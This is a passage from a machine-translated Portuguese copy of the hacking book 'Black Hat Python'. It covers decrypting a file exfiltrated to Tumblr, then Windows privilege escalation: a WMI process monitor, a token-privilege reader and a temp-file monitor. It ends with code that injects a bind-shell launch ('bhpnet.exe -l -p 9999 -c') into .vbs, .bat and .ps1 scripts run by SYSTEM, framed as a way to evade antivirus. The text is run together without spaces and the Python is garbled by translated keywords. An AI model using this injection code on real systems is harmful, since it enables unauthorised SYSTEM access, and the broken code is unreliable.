offset=0
descriptografado=""

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 80/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
criptografada=base64.b64decode(criptografados)
enquantodeslocamento<len(criptografados):
descriptografado+=rsakey.decrypt(criptografado[offset:offset+chunk_size])
offset+=chunk_size

#Agoransdescomprimiraooriginal
textosimples=zlib.decompress(descriptografado)

textosimplesdeimpresso

Perfeito!NssimplesmenteinstanciaraclasseRSAcomachaveprivadae,emseguida,poucodepoisns
base64descodificanossoblobcodificadodoTumblr.Muitoparecidocomonossociclodecodificao,nssimplesmentepegar256
pedaosdebytesedecifrlos,lentamenteconstruindoanossacadeiadetextoplanoinicial.Aetapafinal
paradescomprimiracargatil,porquenspreviamentecomprimidolodooutrolado.

Chutarospneus
Humagrandequantidadedepeasmveisparaestepedaodecdigo,masbastantefcildeusar.Bastaexecutaroseu
ie_exfil.pyroteirodeumdoWindowsacolhimentoeesperarporeleparaindicarqueeletenhasucessopostoua
Tumblr.SevocdeixouInternetExplorervisvel,vocdevetersidocapazdeassistiratodooprocesso.
Depoisqueforconcluda,vocdevesercapazdenavegaratapginadeTumblreveralgocomo
Figura91.

Figura91.Nossonomedearquivocriptografado

Comovocpodever,humagrandebolhacriptografada,queonomedonossoarquivo.Sevocrolarparabaixo,voc
vaiverclaramentequeottuloterminaondeafontenomaisousado.Sevoccopiarecolarottuloem
seudecryptor.pyarquivoeexecutlo,vocdeveveralgocomoisto:
#:>Pythondecryptor.py
C:Tools\ArquivosdeProgramas\depuraoparaWindows(x86)\dml.doc
#:>

Perfeito!Meuie_exfil.pyroteiropegouumdocumentoapartirdodirectrioWindowsDebuggingTools,
carregadoocontedoparaTumblr,eeucomxitopodedecifraronomedoarquivo.Agoraclaroqueparafazero
todoocontedodoarquivo,vocgostariadeautomatizarusandoostruquesquelhemostreinoCaptulo5
(usandourllib2eHTMLParser),quevoudeixarcomoumaliodecasaparavoc.Ooutro
coisaaconsiderarque,emnossaie_exfil.pyscript,almofadaltimos256bytescomocaracteredeespao,
eissopodeprejudicarcertosformatosdearquivo.Outraidiaparaestenderoprojetocriptografarumcomprimento

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 81/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
camponoinciodoscontedospostqueindicaotamanhooriginaldodocumentoantesde
vocacolchoadolo.Emseguida,podelernestecomprimentodepoisdedescriptografarocontedoposteapararoarquivo
paraqueotamanhoexacto.

[20] OpacotePyCryptoPythonpodeserinstaladoapartirhttp://www.voidspace.org.uk/python/modules.shtml#pycrypto/.

Captulo10.escalaodeprivilgiosdoWindows
AssimvocestalouumacaixadentrodeumarededoWindowssuculento.Talvezvocalavancadoummontoremoto
estouro,ouvocphishedseucaminhoparaarede.horadecomearaprocurarmaneirasparaescalar
privilgios.Sevocjouadministradordosistema,vocprovavelmentequervriasmaneirasde
alcanaressesprivilgiosnocasodeumciclodeadesivomataoseuacesso.Eletambmpodeserimportantedispordeum
catlogodeprivilgioescalaesnobolsodetrs,comoalgumasempresasexecutarsoftwarequepodeser
difcilanalisaremseuprprioambiente,evocnopodeexecutaremqueosoftwareatquevocestejaemum
empresadomesmotamanhooucomposio.Emumaescaladadeprivilgiostpico,vocestindoparaexploraruma
malcodificadosdriverouproblemakernelnativodoWindows,massevocusarumabaixaqualidadeexplorarouhuma
problemaduranteaexplorao,voccorreoriscodeinstabilidadedosistema.Nsestamosindoparaexploraralgumoutro
meiosdeadquirirprivilgioselevadosnoWindows.
Osadministradoresdesistemaemgrandesempresasnormalmentetmagendadotarefasouserviosqueiro
executarprocessosfilhosouexecutarscriptsVBScriptouPowerShellparaautomatizartarefas.Vendedores,tambm,muitasvezes
temautomatizados,builtintarefasquesecomportamdamesmamaneira.Nsestamosindoparatentartirarvantagemdaalta
privilgioprocessalidarcomarquivosouexecutarbinriosquesogravveis
porusuriosdebaixoprivilgio.

ExisteminmerasmaneirasparavoctentarescalarprivilgiosnoWindows,enssvo
cobriralguns.Noentanto,quandovocentenderessesconceitosbsicos,vocpodeexpandirseusscriptspara
comearaexploraroutros,cantosbolorentosescurasdeseusalvosWindows.
VamoscomearporaprenderaaplicarumaprogramaodoWindowsWMIparacriarumainterfaceflexvelque
monitorizaacriaodenovosprocessos.Colhemosdadosteiscomooscaminhosdearquivo,ousurioque
criadooprocesso,epermitiuprivilgios.Nossomonitoramentodoprocesso,emseguida,mosforatodososcaminhosdearquivoparaum
scriptdearquivomonitoramentoquemantmcontinuamenteapardequaisquernovosarquivoscriadoseoqueescritopara
eles.Istodiznosqueosarquivosestosendoacessados
porprocessosdealtaprivilgioealocalizaodoarquivo.

Opassofinalparainterceptaroprocessodearquivosdecriaoparaquepossamosinjetarcdigodescripteter
oprocessodealtaprivilgioexecutarumshelldecomando.Abelezadetodoesteprocessoqueele
noenvolvequalquerengancheAPI,paraquepossamosvoarsoboradardamaioriadossoftwaresantivrus.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 82/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

InstalandoosPrrequisitos
Precisamosinstalaralgumasbibliotecasparaescreveroferramentalnestecaptulo.Sevocseguiua
instruesiniciaisnoinciodolivro,voctereasy_installprontoparaorock.Casocontrrio,consulte
aCaptulo1paraobterinstruessobreainstalaoeasy_install.
Executeoseguinteemumcmd.exeshellnoseuWindowsVM:
C:\>easy_installpywin32wmi

Seporalgummotivoestemtododeinstalaonofuncionaparavoc,baixaroinstaladorPyWin32
directamenteapartirhttp://sourceforge.net/projects/pywin32/.
Emseguida,vocvaiquererinstalaroserviodeexemploqueosmeuscolaboradorestecnologiaDanFrischeCliffJanzen
escreveuparamim.Esteservioemulaumconjuntocomumdevulnerabilidadesquetemosdescobertoemgrande
redescorporativaseajudaailustrarocdigodeexemplonestecaptulo.
1.Faaodownloaddoarquivozip:http://www.nostarch.com/blackhatpython/bhpservice.zip.
2.Instaleoserviousandooscriptemlotesfornecidos,install_service.bat.Certifiquesedequevocest
executandocomoadministradorquandofazlo.
Vocdeveserbomparair,entoagoravamoscontinuarcomapartedivertida!

CriandoumaProcessMonitor
EuparticipeideumprojetoparaoImmunitychamadoElJefe,queemsuaessnciaumprocessamentomuitosimples
sistemademonitoramentocomoregistrocentralizado(http://eljefe.immunityinc.com/).Aferramentaconcebidapara
serusadoporpessoasdoladodadefesadaseguranaparacontrolaracriaodeprocessoseainstalaode
malware.Enquantoconsultarumdia,meucolegaMarkWuerglersugeriuqueusamosElJefecomoum
mecanismoleveparamonitorarprocessosexecutadoscomoSYSTEMemnossasmquinasWindowsalvo.
Istonosdariaumavisosobremanipulaodearquivospotencialmenteinsegurosouacriaodoprocessofilho.Funcionou,
enscaminhamoscomnumerososerrosdeprivilgiosquenosderamaschavesdoreino.
AprincipaldesvantagemdooriginalElJefequeeleusouumaDLLquefoiinjetadoemtodososprocessos
parainterceptarchamadasparatodasasformasdeonativoCreateProcessfuno.Emseguida,eleusouumpipenomeadopara
comunicaraoclienterecolha,queemseguida,encaminhadaosdetalhesdoprocessodecriaoparao
Servidorderegistro.OproblemacomistoqueamaioriadossoftwareantivrustambmconectaoCreateProcess
chamadas,porissoouelesvlocomomalwareouvoctemproblemasdeinstabilidadedosistemaquandoElJefeexecutado
ladoaladocomsoftwareantivrus.VamosrecriaralgunsdosrecursosdemonitoramentodeElJefeemum
formahookless,quetambmservoltadoparatcnicasofensivasemvezdemonitoramento.este
devefazeronossomonitoramentoporttiledarnosacapacidadedeexecutarcomsoftwareantivrusactivado
semproblema.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 83/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

MonitoramentodoprocessocomoWMI
AAPIWMIdaoprogramadoracapacidadedemonitorarosistemaparadeterminadoseventos,eemseguida
receberretornosdechamadaquandoocorremesseseventos.Nsvamosaproveitaressainterfaceparareceberuma
retornodechamadacadavezqueumprocessocriado.Quandoumprocessocriado,nsestamosindoparaprenderalguns
informaesvaliosasparaosnossospropsitos:otempoqueoprocessofoicriado,ousurioquegerouo
processo,oexecutvelquefoilanadoeseusargumentosdelinhadecomando,aidentificaodoprocesso,eo
IDdoprocessopai.Istoirmostrarnostodososprocessosquesocriadosporcontasdemaiorprivilgioe
emparticular,quaisquerprocessosqueestochamandoarquivosexternos,comoVBScriptouscriptsemlotes.Quandons
temtodasessasinformaes,nstambmvaideterminaroqueprivilgiosestohabilitadosnasfichasdeprocesso.
Emalgunscasosraros,vocvaiencontrarprocessosquesocriadoscomoumusurioregularmasquetenhamsido
concedidosprivilgiosdoWindowsadicionaisquevocpodeaproveitar.
Vamoscomearcriandoumscriptdemonitoramentomuitosimples[21]queforneceoprocessobsico
informaese,emseguida,construirsobreissoparadeterminarosprivilgiosativado.Noteseque,afimdecapturar
informaessobrealtoprivilgioprocessoscriadospelosistema,porexemplo,vocvaiprecisarparaexecutaroseu
monitoramentodescriptcomoumadministrador.Vamoscomearadicionandooseguintecdigopara
process_monitor.py:
win32conimportao
win32apiimportao
win32securityimportao

wmiimportao
sysimportao
importos

log_to_filedef(mensagem):
fd=open("process_monitor_log.csv","ab")
fd.write("%s\r\n"%message)
fd.close()

Retorna

#Criarumcabealhodoarquivodelog
log_to_file("Time,Usurio,executvel,CommandLine,PID,PaisPID,privilgios")

#InstanciarainterfaceWMI
C=wmi.WMI()

#Criaronossomonitordeprocesso
process_watcher=c.Win32_Process.watch_for("criao")

whileTrue:
experimentar:

new_processprocess_watcher=()

proc_ownernew_process.GetOwner=()
proc_owner="%s\\%s"%(proc_owner[0],proc_owner[2])
create_date=new_process.CreationDate
executvel=new_process.ExecutablePath
cmdline =new_process.CommandLine
pid =new_process.ProcessId
parent_pid=new_process.ParentProcessId

privilgios="N/A"

process_log_message="%s,%s,%s,%s,%s,%s,%s\r\n"%(create_date,

proc_owner,executvel,cmdline,pid,parent_pid,privilgios)

process_log_messagedeimpresso

log_to_file(process_log_message)

exceto:
passar

ComeamosporinstanciaraclasseWMIe,emseguida,dizendolheparaassistiraoeventodecriaodeprocesso
.AoleroPythonWMIdocumentao,nsaprendemosquevocpodemonitorarprocessodecriaoou

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 84/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
eventosdedeleo.Sevocdecidirquevocgostariadeacompanhardepertoeventosdeprocesso,vocpodeusaro
operaoeirnotificlodecadaeventoumprocessoatravessa.Emseguida,digiteumloop,
eosblocosloopatprocess_watcherretornaumnovoeventoprocesso.Onovoeventoprocesso
umaclasseWMIchamadoWin32_Process[22]quecontmtodasasinformaesrelevantesdequesomos
depoisde.UmadasfunesdeclasseGetOwner,quechamamosparadeterminarquemgerouo
processaredelnscoletamostodasasinformaesdoprocessoqueestamosprocurando,sadaparao
telaeregistrloemumarquivo.

Chutarospneus
Vamosacionarnossoscriptdemonitoramentodoprocessoe,emseguida,criaralgunsprocessosparaveroqueasada
parece.
C:\>pythonprocess_monitor.py

20130907115227,048683300,JUSTINV2TRL6LD\Administrator,C:\WINDOWS\system32\
notepad.exe,"C:\WINDOWS\system32\notepad.exe",740.508,N/A

20130907115237,095300300,JUSTINV2TRL6LD\Administrator,C:\WINDOWS\system32\
calc.exe,"C:\WINDOWS\system32\calc.exe",2920.508,N/A

Depoisdeexecutaroscript,eucorrinotepad.exeecalc.exe.Vocpodeverainformaoaseremitidos
corretamente,ereparequeambososprocessosteveoPaiPIDdefinidopara508,oqueoIDdoprocesso
explorer.exenaminhaVM.Vocpodeagoratomarumaprolongadapausaedeixeesteroteiroprazodeumdiae
vejatodososprocessos,tarefasagendadas,evriosatualizadoresdesoftwareemexecuo.Voctambmpodemanchar
malwaressevoc(des)sorte.Tambmtilparafazerlogouteloginnovamenteparaoseualvo,comoeventos
geradosapartirdessasaespoderiaindicarprocessosprivilegiados.Agoraquetemosoprocessobsico
monitoramentonolugar,vamospreencherocampoprivilgiosemnossoregistroeaprenderumpoucosobrecomo
privilgiosdoWindowsfuncionameporqueelessoimportantes.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 85/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

PrivilgiosdeTokendoWindows
UmtokendoWindows,porMicrosoft:"umobjetoquedescreveocontextodeseguranadeumprocessoou
discusso."[23]Comoumtokeninicializadoequaispermisseseprivilgiossoconfiguradosemumtoken
determinarquaisastarefasqueprocessoousegmentopodeexecutar.Umdesenvolvedorbemintencionadopodeterum
aplicaodabandejadosistema,comopartedeumprodutodesegurana,quegostariadedaracapacidadedeumno
usurioprivilegiadoparacontrolaroprincipalserviodoWindows,queumdriver.Odesenvolvedorusao
funoAPInativasdoWindowsAdjustTokenPrivilegessobreoprocessoesubsdiosinocentemente
aaplicaodabandejadosistemadoSeLoadDriverprivilgio.Oqueodesenvolvedornoestpensando
ofatodeque,sevocpodesubirnointeriorqueaaplicaodabandejadosistema,voctambmtemagoraacapacidadedecarregar
oudescarregarqualquerdriverquevocquer,oquesignificaquevocpodesoltarumrootkitemmodokerneleissosignifica
fimdejogo.
Tenhaemmente,sevocnopodeexecutaroseumonitordeprocessocomoSYSTEMouumusurioadministrativo,entovoc
precisamanterumolhosobreoqueprocessalosocapazesdemonitorareversehqualqueradicional
privilgiosquevocpodetirarproveito.Umprocessoemexecuocomooseuusuriocomosprivilgioserradasumfantstico
maneiradechegaraosistemaouexecutarcdigonokernel.privilgiosinteressantesqueeusempreolharparaforaso
listadosnaTabela101.Elenoexaustiva,masservecomoumbompontodepartida.[24]

Tabela101.Privilgiosinteressantes

nomedoprivilgio Deacessoqueconcedido

SeBackupPrivilegeThisenablestheuserprocesstobackupfilesanddirectories,andgrantsREADaccesstofilesnomatterwhat
ACLdefineoseu.

SeDebugPrivilegeThisenablestheuserprocesstodebugotherprocesses.Thisalsoincludesobtainingprocesshandlestoinject
DLLsoucdigoemprocessosemexecuo.

SeLoadDriver Issopermitequeumusurioprocessoparacarregaroudescarregardrivers.

Agoraquetemososfundamentosdoqueprivilgiossoequeprivilegiaaprocurar,vamos
alavancagemPythonpararecuperarautomaticamenteosprivilgioshabilitadossobreosprocessosqueestamosmonitorando.
Nsvamosfazerusodaswin32security,Win32APIewin32conmdulos.Sevocencontrarum
situaoemquevocnopodecarregaressesmdulos,todasasseguintesfunespodemsertraduzidosem
chamadasnativasutilizandoabibliotecactypesapenasmuitomaistrabalho.Adicioneoseguintecdigopara
process_monitor.pydiretamenteacimanossaexistentelog_to_filefuno:
get_process_privilegesdef(PID):
experimentar:
#Obterumidentificadorparaoprocessodedestino
hProc=win32api.OpenProcess(win32con.PROCESS_QUERY_
INFORMAO,Falso,pid)

#Abriroprincipaltokendoprocesso


htok=win32security.OpenProcessToken(hProc,win32con.TOKEN_QUERY)

#Recuperaralistadeprivilgioshabilitado
privs=win32security.GetTokenInformation(htok,win32security.
TokenPrivileges)

#Iterarsobreprivilgiosesadaaquelesqueestohabilitados
priv_list=""
foriinprivs:
#Verificarseoprivilgioesthabilitado

seeu[1]==3:
priv_list+="%s|"%Win32security.
LookupPrivilegeName(Nenhum,i[0])
exceto:
priv_list="N/A"

voltarpriv_list

NsusamosoIDdoprocessoparaobterumidentificadorparaoprocessodedestino.Emseguida,nsseabriroprocesso
tokendee,emseguida,solicitarasinformaesdetokenparaesseprocesso.Aoenviaro
win32security.TokenPrivilegesestrutura,queestoinstruindoaAPIchamadaparaentregardevoltatudodeo
informaesprivilgioparaesseprocesso.Achamadadefunoretornaumalistadetuplas,ondeoprimeiro
membrodatuplaoprivilgioeosegundomembrodescreveseoprivilgio
habilitadoouno.Porqueestamosapenaspreocupadoscomosprivilgiosquesohabilitados,primeiroverifique
paraosbitshabilitadose,depois,procuraronomelegvelporesseprivilgio.
Emseguida,vamosmodificarnossocdigoexistenteparaquensestamossadacorretamenteeregistraressasinformaes.
Alteraraseguintelinhadecdigoapartirdeste:
privilgios="N/A"

paraoseguinte:
privilgios=get_process_privileges(PID)

Agoraquensadicionamosonossocdigodeacompanhamentoprivilgio,vamosexecutarnovamenteaprocess_monitor.pyroteiroe
verifiqueasada.Vocverinformaesprivilgiocomomostradonasadaabaixo:
C:\>python.exeprocess_monitor.py
20130907233506,055054300,JUSTINV2TRL6LD\Administrator,C:\WINDOWS\system32\
notepad.exe,"C:\WINDOWS\system32\notepad.exe",660.508,SeChangeNotifyPrivilege
|SeImpersonatePrivilege|SeCreateGlobalPrivilege|

20130907233515,914176300,JUSTINV2TRL6LD\Administrator,C:\WINDOWS\system32\
calc.exe,"C:\WINDOWS\system32\calc.exe",1004.508,SeChangeNotifyPrivilege|
SeImpersonatePrivilege|SeCreateGlobalPrivilege|

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 86/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Vocpodeverqueestamosregistrandocorretamenteosprivilgioshabilitadosparaessesprocessos.Poderamosfacilmente
colocarumpoucodeinteligncianoscriptpararegistrarsomenteosprocessosquesoexecutadoscomoumusuriosemprivilgios,mastm
privilgiosinteressanteshabilitado.Vamosvercomoesteusodomonitoramentodoprocessovaideixarnosencontrar
processosqueestoutilizandoarquivosexternosdeformainsegura.

Venceracorrida
scriptsemlote,scriptsdeVBScript,ePowerShelltornaravidadosadministradoresdesistemasmaisfcil,
automatizandotarefasmontonas.Suafinalidadepodevariardecontinuamenteregistrarauminventriocentral
servioparaforaratualizaesdesoftwareapartirdeseusprpriosrepositrios.Umproblemacomumafalta
deACLsapropriadassobreessesarquivosdescript.Emvrioscasos,emservidoresdeoutraformasegura,euencontrei
scriptsemlotesouscriptsdoPowerShellquesoexecutadosumavezpordiapelousuriodosistemaaoserglobalmente
gravvelporqualquerusurio.
Sevocexecutaroseumonitordeprocessotemposuficienteemumaempresa(ouvocsimplesmenteinstalaroexemplo
servioprestadonoinciodestecaptulo),vocpodeverosregistrosdeprocessosqueseparecemcomisto:
20130907233515,914176300,NTAUTHORITY\SYSTEM,C:\WINDOWS\system32\cscript.
exe,C:\WINDOWS\system32\cscript.exe/nologo"C:\WINDOWS\Temp\azndldsddfggg.
vbs",1004,4,SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobal
Privilege|

Vocpodeverqueumprocessodosistemagerouocscript.exebinrioeaprovadano
C:\WINDOWS\Temp\andldsddfggg.vbsparmetro.Oexemplodeserviofornecidadevegerar
esseseventosporminuto.Sevocfizerumalistadediretrio,vocnovaiverestearquivopresente.Oque
acontecendoqueoservioacriaodeumnomedearquivoaleatrio,empurrandoVBScriptparaoarquivo,eemseguida
execuoqueVBScript.Euviessaaoexecutadapelosoftwarecomercialemumasriede
casos,eeuviumsoftwarequecopiaosarquivosemumlocaltemporrio,executareemseguida,elimine
essesarquivos.
Paraexplorarestacondio,temosdeganhareficazmenteumacorridacontraocdigodeexecuo.Quando
osoftwareoutarefaagendadacriaoarquivo,precisosercapazdeinjetaronossoprpriocdigoparaoarquivo
antesqueoprocessoexecutaloe,emseguida,emltimaanlise,excluilo.OtruqueparaissooWindowsmo
APIchamadaReadDirectoryChangesW,oquenospermitemonitorarumdiretrioparaquaisqueralteraes
arquivosousubdiretrios.Nstambmpodefiltraresseseventosparaquenssomoscapazesdedeterminarquandooarquivo
foi"salvo"paraquepossamosrapidamenteinjetarnossocdigoantesdeserexecutado.Elepodeserincrivelmentetil
simplesmentemanterumolhoemtodososdiretriostemporriosporumperodode24horasoumais,porcausa
svezesvocvaiencontrarbugsinteressantesoudivulgaesdeinformaonotopodopotencialprivilgio
escalaes.
Vamoscomearcriandoummonitordearquivo,edepoisvamosconstruirsobreissoparainjetarautomaticamenteocdigo.Crio
umnovoarquivochamadofile_monitor.pyemartelaroseguinte:
#Exemploquedadooriginalmenteaquimodificao:
#Http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.
html
tempfileimportao
rosqueamentodeimportao
win32fileimportao
win32conimportao
importos
#Estessoosdiretriosdearquivostemporrioscomum
dirs_to_monitor=["C:\\Windows\\Temp",tempfile.gettempdir()]

#constantesdemodificaodoarquivo
FILE_CREATED 1=
FILE_DELETED 2=
FILE_MODIFIED =3
FILE_RENAMED_FROM=4
FILE_RENAMED_TO =5

start_monitordef(path_to_watch):

#Criamosumalinhaparacadaexecuodemonitoramento
FILE_LIST_DIRECTORY=0x0001


h_directory=win32file.CreateFile(
path_to_watch,
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ|win32con.FILE_SHARE_WRITE|win32con.FILE_
SHARE_DELETE,
Nenhum,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
Nenhum)

enquanto1:
experimentar:
resultados=win32file.ReadDirectoryChangesW(
h_directory,
1024,
Verdade,

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 87/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
win32con.FILE_NOTIFY_CHANGE_FILE_NAME|
win32con.FILE_NOTIFY_CHANGE_DIR_NAME|
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES|
win32con.FILE_NOTIFY_CHANGE_SIZE|
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE|
win32con.FILE_NOTIFY_CHANGE_SECURITY,
Nenhum,
Nenhum
)

paraaao,file_namenoresultado:
full_filename=os.path.join(path_to_watch,file_name)

seaao==FILE_CREATED:
print"[+]Criado%s"%full_filename
aoelif==FILE_DELETED:
print"[]Excludos%s"%full_filename
aoelif==FILE_MODIFIED:
print"[*]Modificado%s"%full_filename

#Despejarocontedodoarquivo
print"[VVV]Dumpingcontedos..."
experimentar:
fd=open(full_filename,"rb")
contents=fd.read()
fd.close()
contedosdeimpresso
print"[^^^]dumpcompleto."
exceto:
print"[!!!]Falha".

aoelif==FILE_RENAMED_FROM:
print"[>]renomeadode:%s"%full_filename
aoelif==FILE_RENAMED_TO:
print"[<]renomeadapara:%s"%full_filename
outro:
print"[???]Unknown:%s"%full_filename
exceto:
passar

paraocaminhoemdirs_to_monitor:
monitor_thread=threading.Thread(target=start_monitor,args=(caminho,))
print"threaddemonitoramentodedesovaparaocaminho:%s"%path
monitor_thread.start()

Nsdefinimosumalistadediretriosquegostaramosdemonitorar,quenonossocasosoosdoiscomum
arquivostemporriosdiretrios.Tenhaemmentequepodehaveroutroslugaresquevocquermanterumolhoem,
entoeditarestalistacomovocvoajuste.Paracadaumdessescaminhos,vamoscriarumsegmentodemonitoramentoquechamaa
start_monitorfuno.Aprimeiratarefadeestafunoparaadquirirumidentificadorparaodiretriodens
desejamonitorar.Emseguida,chamaroReadDirectoryChangesWfuno,oquenosquandoumnotifica
mudanaocorre.Recebemosonomedoarquivoalvoquemudoueotipodeeventoque
aconteceu.Apartirdaquipodemosimprimirinformaesteissobreoqueaconteceucomessearquivoparticular,
e,sedetectarqueelefoimodificado,nsdespejarocontedodoarquivoparareferncia.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 88/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Chutarospneus
Abraumcmd.exeshelleexecutarfile_monitor.py:
C:\>python.exefile_monitor.py

Abraumasegundacmd.exeshelleexecuteosseguintescomandos:
C:\>cd%temp%
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>echoOl>FileTest
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>renomearFileTestfile2test
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp>delfile2test

Vocdeveverumasadaqueseparececomoseguinte:
Desovathreaddemonitoramentoparaocaminho:C:\WINDOWS\Temp
Desovathreaddemonitoramentoparaocaminho:C:\DOCUME~1\admini~1\moradores~1\temp
[+]Criadoc:\DOCUME~1\admini~1\moradores~1\temp\FileTest
[*]Cmodificao:\DOCUME~1\admini~1\moradores~1\temp\FileTest
[vvv]Dumpingcontedos...
Ol

[^^^]Completoreserva.
[>]Renomeadode:c:\DOCUME~1\admini~1\moradores~1\temp\FileTest
[<]Renomeadapara:c:\DOCUME~1\admini~1\moradores~1\temp\file2test
[*]Cmodificao:\DOCUME~1\admini~1\moradores~1\temp\file2test
[vvv]Dumpingcontedos...
Ol

[^^^]Completoreserva.
[]CExcludos:\DOCUME~1\admini~1\moradores~1\temp\FILE2T~1

Setodosositensacimatemfuncionadocomoplanejado,euencorajloamanteroseumonitordearquivodeexecuopara24
horasemumsistemadedestino.Vocpodesersurpreendido(ouno)paraverosarquivosqueestsendocriado,executadoe
suprimido.Voctambmpodeusaroseuscriptprocessodemonitoramentoparatentarencontrarcaminhosdearquivointeressantesparamonitorar
tambm.Asatualizaesdesoftwarepoderiaserdeinteresseparticular.Vamosseguiremfrenteeadicionaracapacidadede
injetarautomaticamenteocdigoemumarquivodedestino.

Injeodecdigo
Agoraquepodemosmonitorarosprocessosearquivarlocais,vamosdarumaolhadaemsercapazdeautomaticamente
injetarcdigoemarquivosdedestino.AslinguagensdescriptmaiscomunsqueeuviempregadassoVBScript,
arquivosemlote,ePowerShell.Vamoscriartrechosdecdigomuitosimplesquegeramumaversocompiladade
nossabhpnet.pyferramentacomonveldeprivilgiodoserviodeorigem.Humavastagamadedesagradvel
coisasquevocpodefazercomestaslinguagensdescript[25],vamoscriaroquadrogeralparaofazer,e
vocpodecorrersoltaapartirda.Vamosmodificarnossofile_monitor.pyroteiroeadicioneoseguintecdigoaps
asconstantesmodificaodoarquivo:
FILE_TYPES={}

command="C:\\Windows\\TEMP\\bhpnet.exelp9999c"
FILE_TYPES['.vbs']=
["\R\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n"%
comando]

FILE_TYPES['.bat']=["\r\NREMbhpmarkerr\n\","\r\n%s\r\n"comando%]

FILE_TYPES['.ps1']=["\r\n#bhpmarker","StartProcess\"%s\"\r\n"comando%]

#Funoparalidarcomainjeodecdigo
inject_codedef(full_filename,extenso,contedo):

#onossomarcadorjnoarquivo?


seFILE_TYPES[extenso][0]nocontedo:
Retorna

#Nomarcadorvamosinjetaromarcadorecdigo
full_contents=FILE_TYPES[extenso][0]
full_contents+=FILE_TYPES[extenso][1]
full_contents+=contedo

fd=open(full_filename,"wb")
fd.write(full_contents)
fd.close()

print"[\o/]cdigoinjetado."

Retorna

Comeamospordefinirumdicionriodetrechosdecdigoquecorrespondemaumaextensodearquivoespecficoque
incluiummarcadornicoeocdigoquequerinjetar.Arazoporqueusarummarcadorporquens

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 89/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
podeentraremumloopinfinitopeloqualvemosumamodificaodoarquivo,inserimosonossocdigo(queprovocauma
EventoSubsequentearquivodemodificao),eassimpordiante.Issocontinuaatqueoarquivoficagigantescoeo
discorgidocomeaachorar.Oprximopedaodecdigoanossainject_codefunoquelidacomoreal
injeodecdigoeverificaodemarcadordearquivo.Depoisverificasequeomarcadornoexiste,escrevemos
omarcadoreocdigoqueremosqueoprocessodedestinoparaexecutar.Agoraprecisamosmodificaronossoprincipal
ciclodeeventosparaincluirnossocheckextensodearquivoeachamadaparainject_code.
recorte
aoelif==FILE_MODIFIED:
print"[*]Modificado%s"%full_filename

#Despejarocontedodoarquivo
print"[VVV]Dumpingcontedos..."

experimentar:
fd=open(full_filename,"rb")
contents=fd.read()
fd.close()

contedosdeimpresso
print"[^^^]dumpcompleto."
exceto:
print"[!!!]Falha".
####NOVOCDIGOCOMEAAQUI
filename,extension=os.path.splitext(full_filename)

####FIMDONOVOCDIGO
seaextensoemFILE_TYPES:
inject_code(full_filename,extenso,contedo)

recorte

Estaumaadiobastantesimplesparaonossocircuitoprimrio.Fazemosumrpidodesdobramentodaextensodearquivo
e,emseguida,verifiquelocontraonossodicionriodeconhecidosarquivotipos.Seoarquivodeextensodetectadoem
nossodicionrio,quechamamosdenossainject_codefuno.Vamoslevlaparaumarodada.

Chutarospneus
Sevocinstalouoexemploserviovulnervelnoinciodestecaptulo,vocpodefacilmentetestar
